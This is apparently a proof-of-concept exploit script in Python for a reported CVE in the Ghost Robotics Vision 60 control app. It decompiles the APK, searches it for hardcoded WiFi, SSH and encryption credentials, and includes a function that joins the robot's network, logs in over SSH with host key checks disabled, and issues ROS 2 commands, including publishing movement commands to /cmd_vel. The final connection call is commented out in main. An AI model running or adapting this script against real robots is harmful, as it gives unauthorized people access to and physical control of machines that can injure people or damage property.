# CVE-2025-41110 PoC - Ghost Robotics Vision 60 Hardcoded Credentials Extraction
# This PoC demonstrates how to extract hardcoded credentials from the Ghost Robotics Vision 60 APK (v0.27.2)
import subprocess
import os
import re
import sys
def extract_apk(apk_path):
"""Step 1: Decompile the APK using apktool to get smali code and resources"""
output_dir = "decompiled_apk"
if os.path.exists(output_dir):
import shutil
shutil.rmtree(output_dir)
print(f"[*] Decompiling APK: {apk_path}")
subprocess.run(["apktool", "d", apk_path, "-o", output_dir], check=True)
return output_dir
def search_credentials(decompiled_dir):
"""Step 2: Search for hardcoded encrypted credential strings in smali code"""
credentials = {
"wifi_ssid": [],
"wifi_pass": [],
"ssh_user": [],
"ssh_pass": [],
"crypto_keys": []
}
# Common patterns used in the Vision 60 APK for storing credentials
patterns = {
"wifi_ssid": re.compile(r'(?i)(wifi[_-]?ssid|ssid[_-]?name)\s*=\s*["\']([^"\']+)["\']'),
"wifi_pass": re.compile(r'(?i)(wifi[_-]?pass(wd|word)?|wpa[_-]?key)\s*=\s*["\']([^"\']+)["\']'),
"ssh_user": re.compile(r'(?i)(ssh[_-]?user(name)?|remote[_-]?user)\s*=\s*["\']([^"\']+)["\']'),
"ssh_pass": re.compile(r'(?i)(ssh[_-]?pass(word)?|remote[_-]?pass)\s*=\s*["\']([^"\']+)["\']'),
"crypto_keys": re.compile(r'(?i)(secret[_-]?key|encryption[_-]?key|aes[_-]?key)\s*=\s*["\']([^"\']+)["\']')
}
for root, dirs, files in os.walk(decompiled_dir):
for file in files:
if file.endswith((".smali", ".xml", ".json")):
filepath = os.path.join(root, file)
with open(filepath, "r", errors="ignore") as f:
content = f.read()
for key, pattern in patterns.items():
matches = pattern.findall(content)
for match in matches:
credentials[key].append(match[-1])
return credentials
def decrypt_credentials(encrypted_data, key):
"""Step 3: Decrypt the extracted credentials using the embedded key"""
try:
from Crypto.Cipher import AES
import base64
# The Vision 60 APK uses AES with the key stored alongside the ciphertext
ciphertext = base64.b64decode(encrypted_data)
# Pad key to 16/32 bytes for AES
key_bytes = key.encode().ljust(16, b'\0')[:16]
cipher = AES.new(key_bytes, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
return decrypted.decode('utf-8', errors='ignore').rstrip('\x00')
except ImportError:
print("[!] pycryptodome not installed. Install with: pip install pycryptodome")
return None
def connect_and_exploit(wifi_ssid, wifi_pass, ssh_user, ssh_pass, robot_ip):
"""Step 4: Connect to robot WiFi and establish SSH session"""
print(f"[*] Connecting to WiFi: {wifi_ssid}")
# On Linux, connect to WiFi using nmcli
subprocess.run(["nmcli", "dev", "wifi", "connect", wifi_ssid, "password", wifi_pass])
print(f"[*] Establishing SSH connection to {robot_ip}")
# SSH into the robot with extracted credentials
ssh_cmd = ["sshpass", "-p", ssh_pass, "ssh",
f"{ssh_user}@{robot_ip}",
"-o", "StrictHostKeyChecking=no"]
# Once connected, full control of the robot is achieved
# ROS 2 has no default auth, so all topics can be subscribed/published
exploit_commands = [
"source /opt/ros/<distro>/setup.bash",
"ros2 topic list", # List all ROS 2 topics
"ros2 topic echo /cmd_vel", # Read velocity commands
"ros2 topic pub /cmd_vel geometry_msgs/msg/Twist ..." # Control robot movement
]
for cmd in exploit_commands:
print(f"[+] Executing: {cmd}")
subprocess.run(ssh_cmd + [cmd])
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <path_to_vision60.apk> [robot_ip]")
sys.exit(1)
apk_path = sys.argv[1]
robot_ip = sys.argv[2] if len(sys.argv) > 2 else "192.168.1.1"
# Step 1: Decompile APK
decompiled = extract_apk(apk_path)
# Step 2: Search for credentials
creds = search_credentials(decompiled)
print(f"[+] Found credentials: {creds}")
# Step 3: Decrypt if necessary
# (Implementation depends on the specific encryption found)
# Step 4: Connect and exploit
# connect_and_exploit(creds["wifi_ssid"][0], creds["wifi_pass"][0],
# creds["ssh_user"][0], creds["ssh_pass"][0], robot_ip)
if __name__ == "__main__":
main()